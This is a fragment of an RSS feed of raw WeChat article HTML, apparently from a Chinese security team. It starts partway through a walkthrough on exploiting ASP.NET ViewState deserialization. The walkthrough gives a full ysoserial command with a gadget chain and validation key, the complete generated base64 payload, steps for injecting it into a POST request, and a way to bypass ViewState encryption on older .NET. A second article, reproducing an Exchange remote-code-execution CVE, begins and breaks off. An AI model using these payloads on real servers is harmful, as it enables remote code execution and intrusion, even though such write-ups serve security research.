文件，</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3954175905395418" title="null" data-w="1353" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=941d1e6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcr9lUkHrlgDBUqahZStGJAialwQAsSPQv2EowlE4PCLiafF8GkMMmd6AQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">随便发送内容抓取 post 数据包，可以看到 mac enabled 配置内容， ViewState MAC 已启用。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4995857497928749" title="null" data-w="1207" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6459f200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkct75RcFlgTBSicIyCRkZXSfCAVLENia7N5kAlW2AiczpGl89BJlmRknf4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">如果我们注意到下面的 POST 请求，可以看到请求中没有“_VIEWSTATEGENERATOR”参数。此时，我们需要将应用程序路径和路径变量作为参数提供给 ysoserial。<br/>但是，如果我们在 HTTP 请求中有 _VIEWSTATEGENERATOR 参数，我们可以直接将其值提供给 ysoserial 以生成有效负载。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7243172951885566" title="null" data-w="769" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d32e96a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcdYU81JuVZBmovicK8A1S1HHRrmI1WrBdFO3ZJTckgLbqcbCBBRModgA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: left;line-height: 1.75;color: rgb(87, 107, 149);">ysoserial</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">生成 payload，这里的--path 需要指定一个服务器上存在的文件，同时--apppath 的虚拟目录也需要注意。</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">ysoserial.exe -p ViewState -g TypeConfuseDelegate -c &#34;echo 123 &gt; c:\windows\temp\test.txt&#34; --path=&#34;/admin.aspx&#34; --apppath=&#34;/&#34; --validationalg=&#34;SHA1&#34; --validationkey=&#34;C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45&#34; --isdebug --islegacy</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.24504692387904067" title="null" data-w="1918" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4fe38f77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcZ4licjXGv05QNAkLa8FomKDtsaKSJ9ZKaj51QCTCI279wZruxJKy0aw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">执行结果:</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">simulateTemplateSourceDirectory returns: /<br/>simulateGetTypeName returns: admin_aspx<br/>Calculated pageHashCode in uint: 1732672259<br/>Calculated __VIEWSTATEGENERATOR (ignored): 67467B03<br/>/wEy3xEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAJi9jIGVjaG8gMTIzID4gYzpcd2luZG93c1x0ZW1wXHRlc3QudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgtoJOCD/P8c+Yl+rO9B6VkNhbceOA==</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">增加<strong style="line-height: 1.75;color: rgb(15, 76, 129);">VIEWSTATEGENERATOR=67467B03 至 POST 请求包中，替换</strong>VIEWSTATE=参数为生成的 payload，具体如下。<br/>（需要注意的是，ysoserial 生成的 payload 需要进行一次 url 编码再传给__VIEWSTATE 参数）</p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=e013ee59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcRNOE1hTcVUGZdSSbmyC94FtGk8FLEQVNHJ39Gm1OgGUibmKGQ14ibu9g%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=bfc72734&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499203%26idx%3D1%26sn%3D6dcd6418c4d25db7772cafa43c71a04c%26subscene%3D0&amp;v=wxv_2624143493942312963"></video></section><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="letter-spacing: 0.1em;">成功执</span><span style="letter-spacing: 0.1em;">行命令。</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">4、Target framework ≤4.0 (Encryption is enabled for ViewState)</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在 .NET 4.5 之前，ASP.NET 可以接受来自用户的未加密**VIEWSTATE 参数，即使 ViewStateEncryptionMode 已设置为 Always。<br/>ASP.NET 仅检查请求中是否存在 **VIEWSTATEENCRYPTED 参数。如果删除此参数，并发送未加密的有效载荷，发序列化依旧会触发。</p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=a4c8ff4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcGYXUKI0KuGgM4ux2UoSWibtZemSytegNTD7pDKia4ibZuzkvK3ORzgzTA%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=ffc4c69e&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499203%26idx%3D1%26sn%3D6dcd6418c4d25db7772cafa43c71a04c%26subscene%3D0&amp;v=wxv_2624144319632998401"></video></section><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">坑</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里一开始访问的文件名为 1.aspx，同时 ysoserial 生成的 payload 的参数也是使用 1.aspx 作为参数--path 的值，但是这样的方式并不能利用成功，反之修改 1.aspx 的文件名为 admin.aspx 则可以正常触发。<br/>也就是数字的文件名无法触发反序列化链，这个问题的产生仍旧没有解决。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">5、framework is ≥.NET 4.5</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架 </span><code style="white-space: normal;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">compatibilityMode=&#34;Framework45</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5344585091420534" title="null" data-w="711" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad6cf92a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcL7TB4ERyMVzXlTZAdtQlWcjeDBXV6PibicFynlpr5fvj65uNwwUlrORQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">与 case4 相同</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3509933774834437" title="null" data-w="1510" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=808d36d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcetEKoUCJbHs0vibWmoD4pj1H4pZMnKLGYpdzLwE4SSjOicVqbbCo2Ksg%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.538860103626943" title="null" data-w="1544" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=874b80cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcjGxvIqibfZU0ic5scteTf93nticC2O7oVlZQSGgibicVg7pw7yYkhbCnkew%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">参考文章</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817" target="_blank">https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817</a><br/><a href="https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net" target="_blank">https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net</a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499203">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=76939a20&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499203%26idx%3D1%26sn%3D6dcd6418c4d25db7772cafa43c71a04c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Oct 2022 09:15:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-CVE-2021-42321漏洞复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499027&amp;idx=1&amp;sn=b40c9d534a6348811eca5058f88e47ba</link>
      <description>该漏洞主要是由于开发者使用SerializationBinder后的逻辑判断有问题，同时配合exchange不那么严格的反序列化黑名单，造成了认证后的RCE。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-10-09 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>该漏洞主要是由于开发者使用SerializationBinder后的逻辑判断有问题，同时配合exchange不那么严格的反序列化黑名单，造成了认证后的RCE。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6d186417&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuwg0V7JS1BFOp0jCCGGqNZKiceT4ED87zuRLWylXOdqTtvBCZv1xPABw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">DotNet安全-CVE-2021-42321漏洞复现</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该漏洞主要是由于开发者使用SerializationBinder后的逻辑判断有问题，同时配合exchange不那么严格的反序列化黑名单，造成了认证后的RCE。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">影响范围</h2><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13892709766162312" title="null" data-type="png" data-w="727" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e5ac762&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuo0DSPj6wEzuUn0cBJbJUBUazUpzrVAicGarwcxe0yONX4Eu81l1iac2Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">大约是21年下半年更新的exchange2016及2019。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">基础知识</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">了解SerializationBinder：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 